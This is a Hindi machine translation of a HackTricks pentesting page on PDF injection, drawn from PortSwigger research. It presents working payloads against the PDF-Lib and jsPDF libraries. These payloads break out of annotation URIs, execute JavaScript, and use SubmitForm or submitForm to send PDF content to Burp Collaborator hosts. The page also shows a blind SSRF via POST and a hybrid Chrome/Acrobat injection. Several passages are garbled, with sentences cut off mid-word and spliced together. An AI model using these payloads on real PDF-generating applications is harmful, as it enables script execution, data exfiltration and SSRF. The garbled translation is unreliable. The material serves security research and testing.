hacktricks/pentesting-web/xss-cross-site-scripting/pdf-injection.md
Translator workflow 75e8745ba3 Translated to Hindi
2023-11-06 08:38:02 +00:00

24 KiB

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

यदि आपका इनपुट एक पीडीएफ फ़ाइल में प्रतिबिंबित हो रहा है, तो आप पीडीएफ डेटा को इंजेक्ट करने के लिए पीडीएफ-इनजेक्शन का प्रयास कर सकते हैं जिससे जावास्क्रिप्ट को निष्पादित किया जा सकता है या पीडीएफ सामग्री को चुरा सकते हैं।

निम्नलिखित जानकारी https://portswigger.net/research/portable-data-exfiltration से ली गई थी।

PDF-Lib

इस बार, मैंने PDFLib का उपयोग किया था। मैंने पुस्तकालय का उपयोग करके एक एनोटेशन बनाने का समय लिया और देखने की कोशिश की कि क्या मैं एनोटेशन URI में एक समाप्ति ब्रैकेट इंजेक्ट कर सकता हूँ - और यह काम कर गया! मैंने एनोटेशन कोड उत्पन्न करने के लिए उपयोग किए गए नमूना भ्रष्ट कोड कोड निम्नलिखित था:

...
A: {
Type: 'Action',
S: 'URI',
URI: PDFString.of(`injection)`),
}
})
...

पूरा कोड:

मुझे कैसे पता चला कि इंजेक्शन सफल रहा? पीडीएफ सही ढंग से रेंडर हो जाता था जब तक मैंने एक समाप्ति ब्रैकेट इंजेक्ट नहीं किया। इससे साबित हुआ कि समाप्ति ब्रैकेट स्ट्रिंग से बाहर निकल रहा था और अमान्य पीडीएफ कोड का कारण बन रहा था। पीडीएफ को तोड़ना अच्छा था, लेकिन बेशक जावास्क्रिप्ट को निष्पादित कर सकना चाहिए था। मैंने रेंडर किए गए पीडीएफ कोड पर नजर डाली और देखा कि आउटपुट FlateDecode फ़िल्टर का उपयोग करके कोड को एनकोड किया जा रहा था। मैंने एक छोटा सा स्क्रिप्ट लिखा था जो ब्लॉक को डिफ़्लेट करता है और एनोटेशन सेक्शन का आउटपुट इस तरह दिखता है:<<
/Type /Annot
/Subtype /Link
/Rect [ 50 746.89 320 711.89 ]
/Border [ 0 0 2 ]
/C [ 0 0 1 ]
/A <<
/Type /Action
/S /URI
/URI (injection))
>>
>>

जैसा कि आप स्पष्ट रूप से देख सकते हैं, इंजेक्शन स्ट्रिंग पाठ सीमा को एक समाप्ति ब्रैकेट के साथ बंद कर रही है, जिससे एक मौजूदा समाप्ति ब्रैकेट बचत यदि आप इसे JavaScript के साथ मूल्यांकन करते हैं, तो इसका परिणाम दशमलव मान 256 होता है। दूसरे शब्दों में, Flags प्रविष्टि को 256 सेट करने से SubmitPDF झंडा सक्षम हो जाएगा, जिससे फ़ॉर्म सबमिट करते समय PDF की सामग्री भेजी जाएगी। हमें बस पहले बनाए गए बेस अंतर्द्वंद्वन का उपयोग करना है और इसे संशोधित करके JavaScript की बजाय SubmitForm क्रिया को कॉल करना है: /blah)>>/A<</S/SubmitForm/Flags 256/F(
https://your-id.burpcollaborator.net)
/Type/Action>>/>>(

sPDF

अगले मैंने अपनी मार्गनिर्धारण को एक और पीडीएफ पुस्तकालय - jsPDF - पर लागू किया और यह भी संक्रमित था। इस पुस्तकालय का शोध करना काफी मजेदार था क्योंकि उनके पास एक API है जो ब्राउज़र में कार्यान्वयन कर सकता है और आपको टाइप करते समय वास्तविक समय में पीडीएफ उत्पन्न करने की अनुमति देगा। मैंने देखा कि, PDP-Lib पुस्तकालय की तरह, उन्होंने एनोटेशन URL के भीतर ब्रैकेट को छोड़ दिया था। यहां url संपत्ति संक्रमित थी: doc.createAnnotation({bounds:
{x:0,y:10,w:200,h:200},
type:'link',url:`/input`});
//vulnerable

तो मैंने उनके API का उपयोग करके एक पीडीएफ उत्पन्न किया और url संपत्ति में पीडीएफ कोड संक्रमित किया:

var doc = new jsPDF();
doc.text(20, 20, 'Hello world!');
doc.addPage('a6','l');
doc.createAnnotation({bounds:
{x:0,y:10,w:200,h:200},type:'link',url:`
/blah)>>/A<</S/JavaScript/JS(app.alert(1);)/Type/Action/F 0/(
`});

मैंने शब्दकोष के प्रविष्टियों के प्रकार और अनावश्यक F प्रविष्टि को हटाकर वेक्टर को कम किया। फिर मैंने एक लटकती हुई छोड़ी हुई ब्रैकेट छोड़ दी जो मौजूदा ब्रैकेट द्वारा बंद होगी। इंजेक्शन का आकार कम करना महत्वपूर्ण है क्योंकि आपको इंजेक्शन करने वाले वेब एप्लिकेशन को केवल सीमित संख्या के वर्णों की अनुमति हो सकती है। /blah)>>/A<</S/JavaScript/JS(app.alert(1)

फिर मैंने यह भी खोजा कि एनोटेशन को बिना इंटरैक्शन के भी कम किया जा सकता है! एक URI और जावास्क्रिप्ट प्रविष्टि एक ही एनोटेशन क्रिया में शामिल करने की अनुमति देता है और खुशी-खुशी जावास्क्रिप्ट को क्रियान्वित करेगा: /)/S/JavaScript/JS(app.alert(1)

अधिक शोध ने यह भी पता लगाया कि आप एनोटेशन को एकाधिक इंजेक्शन भी कर सकते हैं। इसका अर्थ है कि केवल एक क्रिया को इंजेक्शन करने के बजाय, आप एनोटेशन से बाहर निकल सकते हैं और अपने खुद के रेक्ट कोऑर्डिनेट्स को परिभाषित कर सकते हैं ताकि आप दस्तावेज़ के किसी भी खंड को क्लिक करने के लिए चुन सकें। इस तकनीक का उपयोग करके, मैं पूरे दस्तावेज़ को क्लिक करने के लिए सक्षम था। /) >> >>
<</Type /Annot /Subtype /Link /Rect [0.00 813.54 566.93 -298.27] /Border [0 0
0] /A <</S/SubmitForm/Flags 0/F(https://your-id.burpcollaborator.net

इंटरैक्शन के बिना एनोटेशन का क्रियान्वयन

अब तक, मैंने दिखाए गए वेक्टर एनोटेशन से क्रिया को सक्रिय करने के लिए एक क्लिक की आवश्यकता होती है। आमतौर पर, जेम्स ने सवाल पूछा "क्या हम स्वचालित रूप से क्रियान्वित कर सकते हैं?"। मैंने पीडीएफ निर्देशिका की जांच की और एनोटेशन की कुछ दिलचस्प विशेषताओं को देखा:

"PV और PI प्रविष्टियाँ खोले गए पृष्ठों और दिखाए गए पृष्ठों के बीच एक अंतर करने की अनुमति देती हैं। किसी भी समय, व्यूअर एप्लिकेशन में केवल एक पृष्ठ खोला जाता है, जबकि पृष्ठ ख जैसा कि आप देख सकते हैं, उपरोक्त वेक्टर को पीडीएफ संरचना के ज्ञान की आवश्यकता होती है। [ 3 0 R] एक विशिष्ट पीडीएफ ऑब्जेक्ट को संदर्भित करता है और यदि हम ब्लाइंड पीडीएफ इंजेक्शन हमला कर रहे होते, तो हमें इसकी संरचना का पता नहीं होता। फिर भी, अगला चरण है एक फॉर्म सबमिशन का प्रयास करना। हम इसके लिए submitForm फ़ंक्शन का उपयोग कर सकते हैं, और क्योंकि एनोटेशन को क्लिक की आवश्यकता होती है, क्रोम इसे अनुमति देगा:/) >> >> <</BS<</S/B/W 0>>/Type/Annot/MK<</BG[ 0.0 813.54 566.93 -298.27]/CA(Submit)>>/Rect [ 72 697.8898 144 676.2897]/Subtype/Widget/AP<</N <</Type/XObject/BBox[ 0 0 72 21.6]/Subtype/Form>>>>/Parent <</Kids[ 3 0 R]/Ff 65536/FT/Btn/T(test)>>/H/P/A<</S/JavaScript/JS(app.alert(1);this.submitForm('https://your-id.burpcollaborator.net'))/Type/Action/F 4/DA(blah

यह काम करता है, लेकिन यह गंदा है और पीडीएफ संरचना के ज्ञान की आवश्यकता होती है। हम इसे बहुत कम कर सकते हैं और पीडीएफ संरचना पर निर्भरता को हटा सकते हैं:#) >> >> <</BS<</S/B/W 0>>/Type/Annot/MK<</BG[ 0 0 889 792]/CA(Submit)>>/Rect [ 0 0 889 792]/Subtype/Widget/AP<</N <</Type/XObject/Subtype/Form>>>>/Parent <</Kids[ ]/Ff 65536/FT/Btn/T(test)>>/H/P/A<</S/JavaScript/JS(
app.alert(1)
)/Type/Action/F 4/DA(blah
``

यहां हम कुछ कोड हटा सकते हैं:var doc = new jsPDF();
doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`#)>>>><</Type/Annot/Rect[ 0 0 900 900]/Subtype/Widget/Parent<</FT/Btn/T(A)>>/A<</S/JavaScript/JS(app.alert(1))/(`});
doc.text(20, 20, 'Test text');
``

ऊपर का कोड एनोटेशन से बाहर निकलता है, एक नया एनोटेशन बनाता है, और पूरे पृष्ठ को क्लिक करने योग्य बनाता है। जब जावास्क्रिप्ट को कार्यान्वित किया जाता है, तो हमें एक बटन इंजेक्ट करना होगा और "T" प्रविष्टि का उपयोग करके उसे किसी भी पाठ के साथ देना होगा। फिर हम अंततः अपने जावास्क्रिप्ट कोड को डिक्शनरी में JS प्रविष्टि का उपयोग करके इंजेक्ट कर सकते हैं। क्रोम पर जावास्क्रिप्ट को कार्यान्वित करना बहुत अच्छा है। मैंने जब मैं इस अनुसंधान की शुरुआत की थी, तो मैं कभी नहीं सोचा था कि यह संभव होगा।

अगले मैंने submitForm फ़ंक्शन की जांच की ताकि पीडीएफ की सामग्री चुरा सकूं। हम जानते हैं कि हम इस फ़ंक्शन को कॉल कर सकते हैं और यह एक बाहरी सर्वर से संपर्क करता है, जैसा कि ऊपर के उदाहरणों में दिखाया गया है, लेकिन क्या यह पूरी एक्रोबैट विनिर्देशिका का समर्थन करता है? मैंने PDFium के स्रोत कोड की जांच की लेकिन यह फ़ंक्शन SubmitAsPDF का समर्थन नहीं करता :( आप देख सकते हैं कि यह FDF का समर्थन करता है, लेकिन दुर्भाग्य से इससे पीडीएफ की सामग्री सबमिट नहीं होती है। मैंने अन्य तरीकों की तलाश की लेकिन मुझे यह नहीं पता था कि कौन से ऑब्जेक्ट्स उपलब्ध हैं। मैंने एक्रोबैट के साथ जो अनुशासन किया था, उसी तरह से एक फ़ज़र/एनुमरेटर लिखा था जिससे दिलचस्प ऑब्जेक्ट्स को खोजा जा सकता था। क्रोम से जानकारी प्राप्त करना एक्रोबैट से कठिन था; मुझे तत्पर होने से पहले इसे टुकड़ों में जानकारी इकट्ठा करनी पड़ी थी और इसे अलर्ट फ़ंक्शन का उपयोग करके आउटपुट करना पड़ा। इसलिए यही कारण है कि अलर्ट फ़ंक्शन ने इसे भेजे गए स्ट्रिंग को काट दिया।...
``doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link

PDFium/Acrobat में SSRF

PDFium/Acrobat के साथ एक POST अनुरोध भेजना संभव है ताकि SSRF हमला किया जा सके। यह एक अंधा SSRF होगा क्योंकि आप एक POST अनुरोध बना सकते हैं लेकिन प्रतिक्रिया को पढ़ नहीं सकते। एक POST अनुरोध बनाने के लिए, आप /parent शब्दकोश का उपयोग करके एक फॉर्म तत्व को एनोटेशन से संबंधित कर सकते हैं, जो जावास्क्रिप्ट क्रियान्वयन को सक्षम करता है। लेकिन पहले की तरह एक बटन का उपयोग करने की बजाय, आप एक पैरामीटर नाम (/T) और पैरामीटर मान (/V) शब्दकोश के साथ एक पाठ क्षेत्र (/Tx) को सौंप सकते हैं। ध्यान दें कि आपको पैरामीटर नामों को पास करना होगा जिन्हें आप उपयोग करना चाहते हैं, इसे एक एरे के रूप में submitForm फ़ंक्शन को: #)>>>><</Type/Annot/Rect[ 0 0 900 900]/Subtype/Widget/Parent<</FT/Tx/T(foo)/V(bar)>>/A<</S/JavaScript/JS(
app.alert(1);
this.submitForm('https://aiws4u6uubgfdag94xvc5wbrfilc91.burpcollaborator.net', false, false, ['foo']);
)/(
``

आप नए लाइन को भी भेज सकते हैं, जो request smuggling जैसे अन्य हमलों को चेन करने के लिए उपयोगी हो सकता है। POST अनुरोध का परिणाम निम्नलिखित Collaborator अनुरोध में देखा जा सकता है:

एक PDF से बर्प कॉलेबोरेटर अनुरोध दिखाने वाली स्क्रीनशॉट

अंत में, मैं एक हाइब्रिड Chrome और Acrobat PDF इंजेक्शन के साथ समाप्त करना चाहता हूं। पहला हिस्सा Acrobat पर जावास्क्रिप्ट इंजेक्शन करता है ताकि जावास्क्रिप्ट को Acrobat पर निष्पादित किया जा सके। दूसरा हिस्सा एनोटेशन से बाहर निकलता है और एक नया एनोटेशन इंजेक्ट करता है जो Chrome के लिए एक नया क्लिक करने योग्य क्षेत्र परिभाषित करता है। मैं फिर से Acroform ट्रिक का उपयोग करता हूं ताकि जब जावास्क्रिप्ट निष्पादित होगा तो एक बटन इंजेक्ट होगा: var doc = new jsPDF();
doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`#)/S/JavaScript/JS(app.alert(1))/Type/Action>> >> <</Type/Annot/Rect[0 0 900 700]/Subtype/Widget/Parent<</FT/Btn/T(a)>>/A<</S/JavaScript/JS(app.alert(1)`});
doc.text(20, 20, 'Click me Acrobat');
doc.text(20, 60, 'Click me Chrome');

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥